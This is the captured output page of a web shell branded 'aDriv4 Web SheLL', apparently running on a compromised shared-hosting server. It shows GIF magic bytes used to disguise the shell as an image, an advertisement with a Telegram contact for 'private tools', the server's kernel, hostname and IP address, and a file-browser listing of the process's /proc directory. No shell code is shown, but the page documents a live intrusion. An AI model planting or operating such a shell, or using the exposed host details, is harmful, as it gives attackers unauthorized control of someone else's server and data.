GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server184.web-hosting.com 4.18.0-553.5.1.lve.1.el8.x86_64 #1 SMP Fri Jun 14 15:38:45 UTC 2024 x86_64
 LiteSpeed
 198.54.114.129
Name Type Size Owner/Group Permission Last Modified Actions
. dir - jrsdomnz/jrsdomnz 0555 2026-01-20 10:06:33
.. dir - jrsdomnz/jrsdomnz 0555 2026-01-20 10:06:33
attr dir - jrsdomnz/jrsdomnz 0555 2026-01-20 10:06:34
cwd link - jrsdomnz/jrsdomnz 0555 2026-01-20 10:06:33
fd dir - jrsdomnz/jrsdomnz 0500 2026-01-20 10:06:34
fdinfo dir - jrsdomnz/jrsdomnz 0500 2026-01-20 10:06:34
net dir - jrsdomnz/jrsdomnz 0555 2026-01-20 10:06:34
ns dir - jrsdomnz/jrsdomnz 0511 2026-01-20 10:06:34
root link - root/root 0755 2025-08-05 08:05:44
auxv application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-01-20 10:06:34
cgroup text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
children application/x-empty 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
clear_refs 0 B jrsdomnz/jrsdomnz 0200 2026-01-20 10:06:34
cmdline application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
comm text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 10:06:34
cpu_resctrl_groups text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
cpuset application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
environ application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-01-20 10:06:34
exe application/x-executable 6.11 MB root/linksafe 0755 2025-09-30 04:05:21
gid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 10:06:34
io text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
limits text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
loginuid text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 10:06:34
maps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
mem 0 B jrsdomnz/jrsdomnz 0600 2026-01-20 10:06:34
mountinfo text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
mounts text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
numa_maps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
oom_adj application/octet-stream 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 10:06:34
oom_score text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
oom_score_adj application/octet-stream 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 10:06:34
pagemap application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-01-20 10:06:34
patch_state text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-01-20 10:06:34
personality text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-01-20 10:06:34
projid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 10:06:34
sched text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 10:06:34
schedstat text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
sessionid text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
setgroups text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 10:06:34
smaps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
smaps_rollup text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
stack 0 B jrsdomnz/jrsdomnz 0400 2026-01-20 10:06:34
stat text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:33
statm text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
status text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
syscall text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-01-20 10:06:34
uid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 10:06:34
wchan application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 10:06:34
© aDriv4